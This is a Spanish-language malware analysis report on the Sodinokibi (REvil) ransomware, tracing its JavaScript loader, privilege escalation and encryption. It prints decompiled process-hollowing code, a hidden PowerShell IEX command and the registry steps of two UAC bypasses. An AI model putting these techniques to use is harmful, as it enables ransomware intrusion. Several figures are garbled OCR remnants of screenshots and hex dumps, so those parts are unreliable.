

Sodinokibi

Informe malware

Jorge Barelles Menes | Pablo Cardós Marqués Aaron Jornet Sales | Javier Muñoz Alcázar 19 | 06 | 2020

Índice

- 1. Informe Ejecutivo
- 2. Características
- 3. Vector de Entrada
- 4. Interacción con el sistema infectado
 - 4.1. Privilegios
 - 4.2. Process Hollowing
- 5. Sodinokibi
 - 5.1. Obtención Import Adress Table (IAT)
 - 5.2. Preparación y Mutex
 - 5.3. Escalado de Privilegios y Exploit CVE-2018-8453
 - 5.4. Obtención de Proceso
 - 5.5. TXT y JSON
 - 5.6. Lista de idiomas excluidos
 - 5.7. Lista de procesos a finalizar
 - 5.8. Borrado de ShadowCopies
 - 5.9. Vaciado de Carpetas
 - 5.10. Cifrado
 - 5.11. Bitmap
 - 5.12. Conexión Servidor C2
- 6. Rescate
- 7. IOC
- 8. Referencias



1. Informe ejecutivo

En el presente documento se recoge el análisis de una muestra del Ransomware "Sodinokibi".

El Ransomware Sodinokibi, también conocido como REvil, apareció a lo largo de la primera mitad de 2019. Este Ransomware se caracteriza por su gran capacidad de evasión y el gran número de medidas que toma para evitar ser detectado por los motores antivirus.

También se ha observado que **este Ransomware aprovecha una vulnerabilidad de los servidores Oracle Weblogic**. Esta característica hace al Sodinokibi peculiar, sin embargo, al igual que otras muchas familias de Ransomware, el **Sodinokibi es un RaaS** (Ransomware como servicio), lo cual significa que mientras un grupo de gente se dedica a mantener y crear el código, otro grupo se encarga de su difusión. [3]

Durante el 2019 se reportó un aumento progresivo de empresas que sufrieron ataques por parte de cibercriminales organizados en donde hicieron uso de este tipo de Ransomware.

Home > Express

Unos hackers secuestran archivos del Ayuntamiento de Zaragoza en un ciberataque

HOY ARAGÓN × 20 NOVIEMBRE, 2019

Figura 1.1: Extracto de Hoy Aragón sobre el ataque producido por Sodinokibi [1].

RANSOMWARE CIERRA UNA EMPRESA FABRICANTE DE PIEZAS DE AUTO CON MÁS DE 100 AÑOS DE ANTIGÜEDAD; MÁS DE 4 MIL EMPLEOS PERDIDOS

Figura 1.2: Extracto de noticias seguridad.com sobre el ataque producido por Sodinokibi [2].



El rango de actuación del Sodinokibi ha sido diverso, atacando de forma global a un gran número de países[3] este año, sin embargo, el ataque se ha centrado principalmente en Europa, USA e India.



Figura 1.3: Gráfico mundial de actuación Sodinokibi.



De entre los países más afectados España se encuentra en el noveno lugar.





Pese a haber sido descubierto en la primera mitad del 2019, **Sodinokibi fue el Ransomware** más lucrativo durante el último trimestre del año, superando por un casi un 8% en ingresos al Ransomware Ryuk [4].



Figura 1.5: Costes causados por el Ransomware durante el cuarto trimestre del 2019.



2. Características

2.1. Características generales loader JavaScript

El javascript, que lanzará nuestro Ransomware, no lo encontramos en nuestros eventos, pero si está registrada la detección en nuestros sistemas, categorizado a MW desde el 01/05/2019.

MD5:3E974B7347D347AE31C1B11C05A667E2

Clasificacion: 80 MW	BrokenInfo: OK
Ranker Rok: NULL	CompilerName: NULL
Category: Suspect (20.21) 01/05/2019 5:57:01	Size: 3164384
DateImport: 30/04/2019 20:34:24	Overlage NULL
TypeFormatEx: UNKNOWN	Oversity. Hotel
HeurFI: DESCARTADO	Exe Type: Unknown
Google: DESHABILITADO	ExelmageType: UNKNOWN

Figura 2.1: Características del MD5 referentes al loader JS.

Podemos encontrar en VirusTotal (VT) que la mayoría de motores lo clasifican como dropper, además, podemos ver que de otras plataformas de análisis ya lo han detectado como el js que lanza Sodinokibi:

Kaspersky	() Trojan-Dropper.JS.Agent.pz
McAfee	() JS/Dropper
Microsoft	() Trojan:Win32/Occamy.C

#malware

MalwareName: Sodinokibi: The Crown Prince of Ransomware

#Sodinokibi #Ransomware Adversary: Sodinokibi

#CodeGreenLabs

codegreen.ae

Figura 2.2: Imágenes de VT referentes al Sodinokibi.



2.1.1. Características técnicas loader:

Este Javascript, creará otros Scripts y dll ofuscados los cuales lanzará en nuestro sistema, estos, tendrán un objetivo principal y será el de realizar un Bypass a la UAC para obtener privilegios y realizar un Process Hollowing para lograr ejecutar el Sodinokibi. Este punto está más detallado en el apartado "4. Interacción con el sistema infectado"

• En la **fase 1**, realizará dicho Bypass haciendo uso del CompMgmtLauncher, el cual, siempre busca una clave de registro, que, por defecto no existe

956	RegCreateKey	HKCU\Software\Classes\mscfile\\shell\\open\\command	NAME NOT FOUN	DI
956	式 RegCreate Key	HKCU\Software\Classes\mscfile\shell	SUCCESS	
956	式 RegQueryKey	HKCU\Software\Classes\mscfile\shell	SUCCESS	1
956	式 RegCreate Key	HKCU\Software\Classes\mscfile\shell\open	SUCCESS	
956	式 RegClose Key	HKCU\Software\Classes\mscfile\shell	SUCCESS	
956	式 RegQueryKey	HKCU\Software\Classes\mscfile\shell\open	SUCCESS	1
956	KegCreateKey	HKCU\Software\Classes\mscfile\shell\open\command	SUCCESS	

Figura 2.1.1. Búsqueda fallida del registro.

Por lo que, la creará con el contenido de uno de los powershell (PS) que desea ejecutar con privilegios de administrador.

Thread:	2276
Class:	Registry
Operation:	RegSetValue
Result:	SUCCESS
Path:	HKCU \Software \Classes \mscfile \shell \open \command \(Default)
Duration:	0.0000125
Type: Length: Data:	REG_SZ 446 C:\Windows\\$ysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -Command "IEX (([System.IO.File]::ReadAllText('C:\Users

Figura 2.1.2. Creación de Clave con contenido de PS.

• En la fase 2, realizará el Process Hollowing, este lo intentará realizar sobre el antivirus Ahnlab.



Figura 2.1.3. Estructura de la búsqueda Ahnlab.

Puesto que es probable que no exista dicho proceso, se creará otra instancia de PS sobre otro proceso para realizar la acción, en la imagen, apreciamos como se obtiene por orden, los Threads, se leen los procesos que hay en memoria y se intenta acceder a uno de ellos



```
v8 = (CHAR *)sub_403F8C();
v5 = (const CHAR *)sub_403F8C();
if ( CreateProcessA(v5, v8, 0, 0, 0, 4u, 0, 0, &StartupInfo, &ProcessInformation) )
ł
 lpContext = (LPCONTEXT)sub_4128A4();
 if ( lpContext )
 {
    lpContext->ContextFlags = 65543;
   if ( GetThreadContext(ProcessInformation.hThread, lpContext) )
  - {
     ReadProcessMemory(
       ProcessInformation.hProcess,
        (LPCVOID)(lpContext->Ebx + 8),
        &Buffer,
       4u,
        &NumberOfBytesRead);
      if ( *(_DWORD *)(v4 + 52) == Buffer
       && NtUnmapViewOfSection(ProcessInformation.hProcess, *(PVOID *)(v4 + 52)) )
      {
        lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, *(_DWORD *)(v4 + 80), 0x3000u, 0x40u);
      else
      {
```

Figura 2.1.4. Búsqueda de otro proceso.

2.2. Características del payload Sodinokibi

Hay muchas variantes del Payload así como del Loader, debido a que el Sodinokibi es un RaaS(Ransomware as a Service), podremos encontrar distintas versiones del Ransomware, ya que, se encuentra en constante actualización.

Las primeras apariciones de este malware datan de abril de 2019, en concreto el 26/04/2019 se registran por primera vez varios ataques a distintas empresas usando ese Ransomware.

Clasificacion:	-83 MW	BrokenInfo:	ОК
🙆 Ranker Risk:	NULL	CompilerName:	NULL
Category:	Malware (100,103) 06/05/2019 12:38:04	Size	161280
DateImport:	06/05/2019 12:35:20	5426.	101200
TypeFormatEx:	EXE	Overlay:	NULL
HeurFI:	NO_FI	ExeType:	Unknown
Google:	DESHABILITADO	ExelmageType:	PE32_EXE

Figura 2.2: Características del MD5 referente al Payload Sodinokibi.

2.2.1. Características técnicas del payload Sodinokibi

Este payload, será un ejecutable cargado en memoria, cuyo objetivo principal será, realizar la tarea más importante de este Ransomware, cifrar los ficheros y pedir un rescate por ellos, dentro de este ejecutable, se observan distintas partes bien diferenciadas en las cuales vemos como lo consigue, este punto está más detallado en el apartado "5. Sodinokibi", las características más importantes son:

 Obtención de la Import Address Table (IAT), en la cual, obtendrá de forma dinámica todos y cada uno de los Imports que utilizará a lo largo de todo el proceso, en la imagen se muestran algunas de las librerías que ha cargado.

Address	Hep	ĸ															ASCII
76B32FBB	41	64	64	49	6E	74	65	67	72	69	74	79	4C	61	62	65	AddIntegrityLabe
76B32FCB	6C	54	6F	42	6F	75	6E	64	61	72	79	44	65	73	63	72	1ToBoundaryDescr
76B32FDB	69	70	74	6F	72	00	41	64	64	4C	6F	63	61	6C	41	6C	iptor.AddLocalAl
76B32FEB	74	65	72	6E	61	74	65	43	6F	6D	70	75	74	65	72	4E	ternateComputerN
76B32FFB	61	6D	65	41	00	41	64	64	4C	6F	63	61	6C	41	6C	74	ameA.AddLocalAlt
76B3300B	65	72	6E	61	74	65	43	6F	6D	70	75	74	65	72	4E	61	ernateComputerNa
76B3301B	6D	65	57	00	41	64	64	52	65	66	41	63	74	43	74	78	meW.AddRefActCtx
76B3302B	00	41	64	64	53	49	44	54	6F	42	6F	75	6E	64	61	72	.AddSIDToBoundar
76B3303B	79	44	65	73	63	72	69	70	74	6F	72	00	41	64	64	53	yDescriptor.AddS
76B3304B	65	63	75	72	65	4D	65	6D	6F	72	79	43	61	63	68	65	ecureMemoryCache
76B3305B	43	61	6C	6C	62	61	63	6B	00	41	64	64	56	65	63	74	Callback.AddVect
76B3306B	6F	72	65	64	43	6F	6E	74	69	6E	75	65	48	61	6E	64	oredContinueHand
76B3307B	6C	65	72	00	41	64	64	56	65	63	74	6F	72	65	64	45	ler.AddVectoredE
76B3308B	78	63	65	70	74	69	6F	6E	48	61	6E	64	6C	65	72	00	xceptionHandler.
76B3309B	41	64	6A	75	73	74	43	61	6C	65	6E	64	61	72	44	61	AdjustCalendarDa
76B330AB	74	65	00	41	6C	6C	6F	63	43	6F	6E	73	6F	6C	65	00	te.AllocConsole.
76B330BB	41	6C	6C	6F	63	61	74	65	55	73	65	72	50	68	79	73	AllocateUserPhys

Figura 2.2.1: Obtención dinámica IAT.



8

• **Exploit CVE 2018-8453**, en el cual, si todavía no hubiera logrado los privilegios de administrador, utilizará dicho exploit basado en una vulnerabilidad en Win32k.

Vulnerabilidad en productos Microsoft (CVE-2018-8453)

Tipo: Apagado o liberación incorrecto de recursos Gravedad: Alta IIII Fecha publicación : 10/10/2018 Última modificación: 02/10/2019

Descripción

Existe una vulnerabilidad de elevación de privilegios en Windows cuando el componente Win32k no gestiona adecuadamente los objetos en la memoria. Esto también se conoce como "Win32k Elevation of Privilege Vulnerability". Esto afecta a Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10 y Windows 10 Servers.

Figura 2.2.2: CVE 2018-8453.

En el proceso, veremos cómo obtiene el fichero y los atributos que necesita de Win32k y lanzará dicho exploit.





 Json, este apartado podría ser el más importante, ya que en todo momento se apoya en este fichero para hacer comprobaciones como: donde tiene que mandar la información del usuario, que carpetas comprobar, que ficheros cifrar, etc. Este fichero está almacenado en una sección de nuestro Sodinokibi como .grrr, contiene varias formas de control de errores, si fuera manipulado el Json se acabaría la ejecución.

Name	Virtual Size	Virtual Address	Raw Size	Raw Address	Reloc Address	Linenumbers
00000240	00000248	0000024C	00000250	00000254	00000258	0000025C
Byte[8]	Dword	Dword	Dword	Dword	Dword	Dword
.text	00009974	00001000	00009A00	00000400	0000000	0000000
.rdata	0000F760	0000B000	0000F800	00009E00	0000000	0000000
.data	00001330	0001B000	00001200	00019600	0000000	0000000
.grrr	0000C800	0001D000	0000C800	0001A800	0000000	0000000
.reloc	0000050C	0002A000	00000600	00027000	0000000	0000000
<		₽ ₩				_
Offset 00000000 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090	$\begin{array}{c ccccccccccccccccccccccccccccccccccc$	4 5 6 7 72 34 78 48 68 42 72 84 70 34 78 48 68 42 72 80 71 32 89 B7 42 32 89 B7 88 EF A0 58 D5 32 CD EC 6C 1D BC 4A C2 46 B2 25 9B DA 29 47	8 9 A I 4A 4D 6B 7(63 36 48 51 48 FF 8E 71 C2 FB 5B 2(D0 9A 36 63 D2 9D 66 F1 F8 93 8F E3 A4 F8 AE 42 67 C3 2E B1	C D E 3 52 4B 55 6 0 61 66 16 16 16 0 04 89 2E 7 3 9D 71 5B 15 0 04 3B 94 05 33 C 10 14 33 10 35 30 10 36 10 10 14 33 10 35 10 36 10 10 14 33 10 36 10 36 10 36 10 <t< th=""><th>F Ascii DB shBKr4x DD AwquhBr C -6%&T. 0 0 0 100 0 100 0 100 0 100 0 100 0 100 0 11 2 0 3 #A28AF2 03 d</th><th>HJMk×RKUk ∴Höl}aa¶u ×Åû[.0].~ ÿÐl6c q[' X.iot. 3Å ið ýJ: 0 Jø] ãl»'' ÿ¤g@Ci\1' Ggã.%uî 0</th></t<>	F Ascii DB shBKr4x DD AwquhBr C -6%&T. 0 0 0 100 0 100 0 100 0 100 0 100 0 100 0 11 2 0 3 #A28AF2 03 d	HJMk×RKUk ∴Höl}aa¶u ×Åû[.0].~ ÿÐl6c q[' X.iot. 3Å ið ýJ: 0 Jø] ãl»'' ÿ¤g@Ci\1' Ggã.%uî 0

Figura 2.2.4: Json en sección .grrr.



3. Vector de entrada

La forma más común de que el Sodinokibi llegue a los sistemas es a través de un correo malicioso perteneciente a una campaña de phishing. Este correo contiene un link desde el cual el usuario descargará un archivo .zip, el cual contendrá el loader del sodinokibi. Los atacantes distribuyen el malware de esta manera ya que resulta más sencillo llegar de esta forma a la víctima y, por otra parte, al distribuir el malware dentro del .zip consigue evadir algunas protecciones contra malware del equipo a infectar.

El contenido del .zip normalmente corresponderá a un archivo JavaScript ofuscado como el que analizaremos en este informe.

4. Interacción con el sistema afectado

En primer lugar, nos encontramos con el javascript ofuscado que será el encargado de dropear, desofuscar y lanzar un script de PS.



Figura 4.1: Esquema de funcionamiento del Loader

En ejecución, vemos que lanzará un wscript.exe para ejecutar el Javascript (JS) y este a su vez ejecutará un PS, que realiza un Bypass para escalar privilegios, esto lo realizará con un fichero generado en %temp%, llamado **jurhrtcbvj.tmp**.



Figura 4.2: Ejecución del droppeo del temporal.



Posteriormente, vemos que lanzará un PS para desofuscar el **tmp** y ejecutarlo. El powershell es lanzado por wscript.exe.



Figura 4.3: Desofuscado del temporal.

Cuando termine la ejecución del powershell, intentará contactar con alguno de los 3 dominios que se aprecian en la siguiente imagen y finalizará.



Figura 4.4: Conexión de 3 dominios

El temporal droppeado **jurhrtcbvj.tmp**, también es un script ofuscado, que trata, en primer lugar, de una primera ofuscación utilizando el signo "!" y una segunda de cargar un base64, veremos que contiene otra cadena en base64, la cual, lanzará una función install1(), que se encargará de cargar una dll, con un Load.



Figura 4.5: Primer desofuscado del Script.

Al reemplazar las instrucciones de ejecución por la de escritura del fichero, obtuvimos el Script desofuscado.

\$UnFiBy = New-Object Byte[](941056)
\$DefSt.Read(\$UnFiBy, 0, 941056) | Out-Null
[io.file]::WriteAllBytes('C:\Users_____\Desktop_____\payload_1.netmodule',\$UnFiBy);

Figura 4.6: Segundo desofuscado del Script



El fichero obtenido es un módulo de .NET que, efectivamente, contiene una función llamada Install1(), que carga en memoria y ejecuta el contenido de una variable ofuscado en base64.

🔺 🔩 -	Test @02000002	1 // Test
Þ	Tipo base e Interfaces	
	Tipos Derivados	3 public static string Install1()
	cctor0 : void @06000	
	BuildImportTable(Test.	5 string s =
	ConvSections(byte*]	"TVpQAAIAAAAAAAAAA/AA/AAAAAAAAAAAAAAAAAAAAA
	Endian(ushort) (ushor	VzdCBiZSBydW4gdW5kZXIgV21uMzINCiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	EinalizeSections(Test)	aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
6	Freed iberry (viet) viet (LgEAABwEAAAAAACYOgEAABAAAABAAQAAAEAAABAAAAACAAAEAAAAAAAAAA
	FreeLibrary(unit): Int C	ΑΛΛΑΛΑGABAOAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
9	GetBytesFromFile(strin	ΑΛΛΛΑΛΛΑΛΛΑΛΛΑΛΛΑΛΛΑΛΛΑΛΛΑΛΛΑΛΛΑΛΛΑΛΑΛΑΛ
4	GetProcAddress(uint,	AAAAAAAAAAAAAAAAAAABAUUMAAAAAAAAAAAAAAA
9	GET_HEADER_DICTION	ZWxvYwAAVBgAAABwAQAAGgAAAEYBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
9	IMAGE_FIRST_SECTION	andan i guananananananananananananananananananan
6	Install1() : string @060	
0	🔓 LoadLibrary(byte*) : ui	ал
	memcpy(byte*, byte*,	аладаладаладаладаладаладаладаладаладала
	MemoryFreeLibrary(in	AB LINSCSK LOQUARIBBAAAAS SU LUGUVZ ME 7 ZQAAAAABAAAAAAAAAAAAAAAAAAAAA KE Z EXNO ZMOLAP / Z LINS JA 145 V CAAC DK COE
	MemoryGetProcAddre	+001 кладвоцко-россиятся квала с одлого наладалалалалалалалалалалалалаланское как алалаланское как какалалалалалалалалалалалалалалалал
	MemoryLoadLibrary(L	AAEMKQAAMAAADBBAANAZQAADVDAATFVAAQQZQADYNKAAMFVAAAMBQAZQABAAEVKJORKICMZNYZVKIZJQZMNOISU/JSXNQQLCMPSIQGFBAIVA/YMKYUEAISU/ Jarboort, and activity of angli faith cast and angli activity of a start and a start and a start and a start activity of a st
	memset(byte*, byte, u	JabhygLuwaingrafiAA/ywtytealau/j2knggLuwaikaraatiA/ywaytealau/jymnggLuwaingrafiAA/ywaytealau/jonggLuwaingrafiA
	PerformBaseRelocatio	
	e realloc(byte*, uint, uin	JVKIIQLLWF6JUGF6ATVA/ JVITUEAL0U/JUIIIQULWF6JUGF6ATVA/ JVETUEAL0U/JU0IIQLLWF6JGF6ATVA/ JXQTUEAL0U/JCKIQQLWF6JGGF6ATVA/
	stricmp(string, byte*)	youtochio/ Jiniogcompoted of avery science/ Juniogcompoted of Anno 100 percent and a science of the science of
	VirtualAlloc(uint, uint,	TOREGOLI WENNING WOOTDERSTONEERING AS TO THE TOTAL THE TOTAL AND A THE TOTAL AND ATTAL AND A THE TOTAL AND A T
	VirtualFree(uint, uint, u	adamigeter inverbigetor portantiseptionaria da ad // // variation reactive variative variation of the or a source variation of the o
	VirtualProtect(uint, uir	Ddv II vy Circle Course of the second s
	DIL PROCESS ATTACH	<pre>this/till/State///TAddosutFad11ft/Luli7/V/0FtTV/5/LUMAthChargerCFtzWkfAvad2u0ac00000000000000000000000000000000000</pre>
C		<pre>t znteRADP1+dnawa/7xUEFX'sMaxn1 c MXBTkMTT77CMTDr/s5i/wkBC/uwiXM4i9Si w+i0/y//hM81BDP6kmuwabg2g0g1regg0g0g1ctg2g0g0g0g1ctg2g0g0g</pre>
		AAFAB9874AABAA6wA8xy//AAC859AA//+1cwRaAWeATAAA/maAF919//+1
C		+Tk2hf99T4vTu0RV00DohP7//4T4dBNoAT4AAGoAjwW06Nn9//8/wTkDX15hw5BTV1dVi9ml8ovox9MF4A40AGoFzAAgAABoA4AQAEXonf3//4v4iTuF/3Hfgch//
ſ		w44ge/444P/jtMFacRo4C444F7V6TD9//+144M74H0jj9045FVRA0j1/f//hMR1F2g4e444AagCL41DoVv3//zP4j0NdX15hw5RTV]dvgRtsibwkRTkli1MdF14j///
6		M9K1VC0M1+11BC0DXY1F1BC1HeRV00Dr1Vs713MT0+53RovGA0MM080kFHc7030kCHWF1X0kC1vGA0MM080kDHYF1U0kDGr4ArAAAgBW60/8//
6		+FwHIKxwXAVUFAA0AAATvD6Tr9//
		+L34H75FVBAHWn100kBDPSiRCDfC0MAH0Zi00kBItUJAiJEItEJAwrRC0Ii10kBIlCBIPEFF1fX1vDU1ZXVYPE9IlMJASJFCSL0IvggeUA8P//Ax0kgcL/
	IMAGE_KEL_BASED_AE	DwAAgeIA8P//iVOkCItEJASJKItEJAgrxYtUJASJOgSLNeRVOODrPIteCIt+DAP70+t2AovdO3wkCHYEi3wkCDv7dh5qBGgaEBAAAK/tXU+gm/p//
	MAGE_REL_BASED_HI	hcB1CotEJA0200kOGwgLNoH+5FVBAHW8e80MXV9eW80LwFNWVJVR191L84HG/w8AAIHmAPD//4k0JIvrA+g850Dw//

Figura 4.7: Install1() Ofuscada que contiene 1ª DLL.

4.1. Fase 1: Privilegios

Una vez desofuscado los base64, obtenemos una dll que se encargará de realizar el Bypass de la UAC que hemos visto en el apartado dinámico del punto anterior.





En primer lugar, la dll comprueba los privilegios que tienen los procesos, ya que necesitará permisos de administrador para poder realizar todas las acciones. Por ello, mediante la llamada a las funciones AllocateAndInitializeSid y CheckTokenMembership comprueba a que grupo de usuarios pertenece el token, y, por lo tanto, que permisos tiene.

En la primera imagen, podemos observar cómo inicializa un SID, una vez lo tiene listo, hace la comprobación en el paso número dos, con ella determinará que el SID está disponible para el token de acceso. Como vemos TokenHandle es llamado con el argumento 0, es decir, no especificará un hilo y utilizará el hilo que se le asigne por defecto.



Este paso sirve para comprobar si el proceso que emplea tiene permisos de administrador, ya que cuando se ejecuta, no tiene los permisos suficientes y deberá elevarlos. Es el paso previo a escalar privilegios de la UAC.

lea	eax, [ebp+pSid]
push	eax ; pSid
push	<pre>0 ; nSubAuthority7</pre>
push	<pre>0 ; nSubAuthority6</pre>
push	0 ; nSubAuthority5
push	0 ; nSubAuthority4
push	0 ; nSubAuthority3
push	0 ; nSubAuthority2
push	220h ; nSubAuthority1
push	20h ; nSubAuthority0
push	2 ; nSubAuthorityCount
push	offset pIdentifierAuthority ; pIdentifierAuthority
call	AllocateAndInitializeSid
call	sub 40B7BC
lea	eax, [ebp+IsMember]
oush	eax ; IsMember
mov	eax, [ebp+pSid]
push	eax ; SidToCheck 🖉
oush	0 ; TokenHandle
call	CheckTokenMembership

If *TokenHandle* is **NULL**, **CheckTokenMembership** uses the impersonation token of the calling thread. If the thread is not impersonating, the function duplicates the thread's <u>primary token</u> to create an <u>impersonation token</u>.

Figura 4.1.2: Rellenado de la estructura SID.

Como hemos comentado anteriormente, si no tiene los privilegios de admin, seguirá y sino llegará a la parte final de la dll



Figura 4.1.3: Condicional que comprueba si hay privilegios admin.

Llegamos al Bypass y nos encontramos con dos formas distintas de realizarlo, con la primera función, que ya hemos visto en el esquema anterior, utiliza el CompMgmtLauncher para realizar el escalado de privilegios, si no ha podido realizar dicho escalado, ya que podría estar parcheado, lo realizará, utilizando DelegateExecute con ComputerDefaults.exe, otra técnica muy similar.

Por pasos, en la primera función, que es la que se realiza, crea una nueva entrada de registro en Software\Classes\mscfile\open\command\.



```
lea
        eax, [ebp+var_8]
        edx, offset aSoftwareClasse ; "Software\\\\Classes\\\\mscfile\\\\shell"...
mov
        CreatePoint
call
        ecx, [ebp+var_4]
mov
        edx, [ebp+var_8]
mov
mov
        eax, 80000001h
        _Registry
call
push
        1770h
                        ; dwMilliseconds
call
        Sleep
        offset aCWindowsSystem ; "C:\\Windows\\System32\\CompMgmtLauncher"...
push
        ecx, offset aCWindowsExplor ; "C:\\Windows\\explorer.exe"
mov
xor
        edx, edx
xor
        eax, eax
        RunasExecute
call
        1770h
push
                        ; dwMilliseconds
        Sleep
call
```

Figura 4.1.4: Nueva entrada de registro.

Esto se hace, ya que, por defecto la dll busca este registro y no lo encontrará, es una técnica bastante usada en el dll hijacking.

956	式 RegCreate Key	HKCU\.Software\Classes\mscfile\\shell\\open\\command	NAME NOT FOUND
956	式 RegCreate Key	HKCU\Software\Classes\mscfile\shell	SUCCESS
956	式 RegQuery Key	HKCU\Software\Classes\mscfile\shell	SUCCESS
956	式 RegCreate Key	HKCU\Software\Classes\mscfile\shell\open	SUCCESS
956	式 RegClose Key	HKCU\Software\Classes\mscfile\shell	SUCCESS
956	式 RegQuery Key	HKCU\Software\Classes\mscfile\shell\open	SUCCESS
956	式 RegCreate Key	HKCU\Software\Classes\mscfile\shell\open\command	SUCCESS

Figura 4.1.5: Búsqueda fallida del registro

Posteriormente, hace uso de CompMgmtLauncher y de explorer.exe, su funcionamiento es crear una nueva instancia de explorer.exe y esta, lanzará CompMgmtLauncher, cuando se lance, esta dll buscará el registro de MgmtLauncher, al haber creado una entrada nueva de registro con este nombre y con el contenido del script, se ejecutará el PS con permisos de administrador, puesto que este ejecutable, como vemos pertenece a System32

powers powers powers powers	hell.exe hell.exe hell.exe	2636 RegOpenKey HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion 2636 Process Create C:\Windows\explorer.exe 2636 RegSetInfoKey HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion
	Thread:	196
	Class:	Process
	Operation	Bracase Crasta
	Operation:	Process create
	Result:	SUCCESS
	Path:	C:\Windows\explorer.exe
	Duration:	0.000000
	PID:	2484
	Command line	: "C: \Windows\explorer.exe" C: \Windows\System32\CompMgmtLauncher.exe
956 🌋 RegQuery 956 🥰 Process Cr	Value HKLM\SOFTWAF eate C:\Windows\explo	E\Wow6432Node\Microsoft\Windows\CurrentVersSUCCESS Type: REG_EXPAND_SZ, Length: 34, Data: %SystemRoot%Vinf er.exe SUCCESS PID: 1504, Command line: "C:\Windows\explorer.exe" C:\Windows\System32\CompMgmtLauncher.exe
956 RegQueryKe	HKCU\Software\Class	s/msdfe/shell/open/command/Upfault) SUCCESS Query: HandleTags: Dx401 s/msdfe/shell/open/command/Upfault) SUCCESS Type: REG_SZ_Length: 446, Data: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass wind
Thread:	2276	
Class:	Registry	
Operation:	RegSetValue	
Result:	SUCCESS	
Path: Duration:	0.0000125	Ynschie (shei) (open (commano ((Deraurc)
Type: Length:		- EG 52 46 Mindaus Dudlo Wadaus Remerchallust Olanuardall aux Europhine Russer windowshie bidden Campand "EV ((Custam TO Ella UR-adalT-subCultar

indows (SysWOW64)WindowsPowerShell (v1.0 powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -Command "IEX (([System.IO.File]::ReadAllText

Figura 4.1.6: Procedimiento CompMgmtLauncher.



Una vez se ha ejecutado con RUNAS este procedimiento, eliminará la key del registro para evitar ser detectado en el sistema.

CompMgmtLauncher, proviene de Computer management, es decir, **mmc.exe** (Microsoft Management Console), originario de windows, por lo que, cuando ejecutamos el comando, este, simplemente llama a mmc.exe, la vulnerabilidad se aprovecha del launcher.



Figura 4.1.7: Llamada a mmc.exe.

CompMgmtLauncher, tiene características de autoelevate, así que si lanzáramos alguna app con este ejecutable se lanzaría con permisos de admin, siendo que cuando se ejecuta busca una clave de registro, al crear la key con un cmd y un Powershell dentro, cuando decimos al sistema que ejecute el CompMgmtLauncher, este buscará la key, la tendrá, la ejecutará y lanzará nuestro PS con los privilegios de admin.

<pre><assemblyidentity <="" name="CompMgmtLauncher" pre="" processorarchitecture="and64"></assemblyidentity></pre>
version="1.0.0.0"
<pre><description>Snapin Launcher</description></pre>
<pre><trustinfo xmlns="urn:schemas-microsoft-com:asm.v3"></trustinfo></pre>
<security></security>
<requestedprivileges></requestedprivileges>
<pre></pre> <pre><</pre>
level="requireAdministrator"
uiAccess="false"
<pre></pre>
<asmv3:application></asmv3:application>
<pre><asmu3:windowssettings_xmlns="http: 2005="" schemas.microsoft.com="" smi="" windowssettings"=""></asmu3:windowssettings_xmlns="http:></pre>
<pre>{autoElevate>true</pre>
/assembly/

Figura 4.1.9: Característica de Autoelevate en CompMgmtLauncher.

En segundo lugar, tenemos la otra opción, el escalado por DelegateExecute, es decir, un escalado por Fileless, en este caso, vemos como realizará una entrada de una key Software\Classes\ms-settings\shell\open\command\, esto se hace aprovechando una vulnerabilidad, en la que, por defecto, al ejecutar ComputerDefaults intenta buscar una key Software\Classes\ms-settings\shell\ open\command\DelegateExecute, que no existe, al haberla creado, cuando intentemos ejecutar



ComputerDefaults, obtendremos una shell con privilegios escalados, o lo que es lo mismo, en nuestro caso, lanzaremos de nuevo el PS malicioso como admin.

En ambos casos vemos, como elimina la clave una vez ha realizado la elevación de privilegios.



Figura 4.1.10: Procedimiento Bypass DelegateExecute.

Si seguimos analizando la dll, vemos que en Resources encontramos un PE cifrado, con nombre "Help" el cual representa a la Fase 2, la inyección del proceso y process hollowing.

rcdata	DVCLAL	0x0001A2E4	neutral	26 3D 4F 38 C2 82 37 B8 F3 24 42 03 17	& = 0 8 7 \$ B :					
rcdata	HELP	0x0001A2F4	Russian	36 21 2B 7B 79 7B 7B 7B 7F 7B 74 7B 84	6!+{y{{{{{					
rcdata	PACKAGEINFO	0x00057CF4	neutral	00 00 00 8C 00 00 00 00 12 00 00 00 01	Te					
Figura 4.1.11: Función Help cifrada en Resources										

Dicho PE, es otra dll, que se descifra y se ejecutará nuevamente en memoria, para ello, podemos ver que realiza el descifrado con una XOR, si vamos lanzando el bucle, vemos cómo van apareciendo cabeceras y el habitual MZ de un PE.

	002333A0	FF12	call dword ptr ds:[edx]
	002333A2	85C0	test eax,eax
1	002333A4	✓ 7E 06	jle install1_payload_desofuscado.2333AC
	002333A6	301E	xor byte ptr ds:[esi],bl
•	002333A8	46	inc esi
•	002333A9	48	dec eax
i	002333AA	^ 75 FA	jne install1_payload_desofuscado.2333A6
>●	002333AC	33C0	xor eax,eax
-	00000000		and a start of the



🚛 Dump :	1	🛄 Dump 2				Dump 3 Dump 4						94	ų	D	ump	5	💮 Watch 1 🛛 [x=] Lo
Address	He	x															ASCII
0045D898	36	21 28 78 7			79	79 7B 7B 7B				7B	74	7B	84	84	7B	7B	6!+{y{{{.{t{{{
0045D8A8	C3	78 78 78 7			7B 7B 7B			7B	3B	7B	61	7B	7B	7B	7B	7B	Å{{{{{{}}
0045D8B8	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{
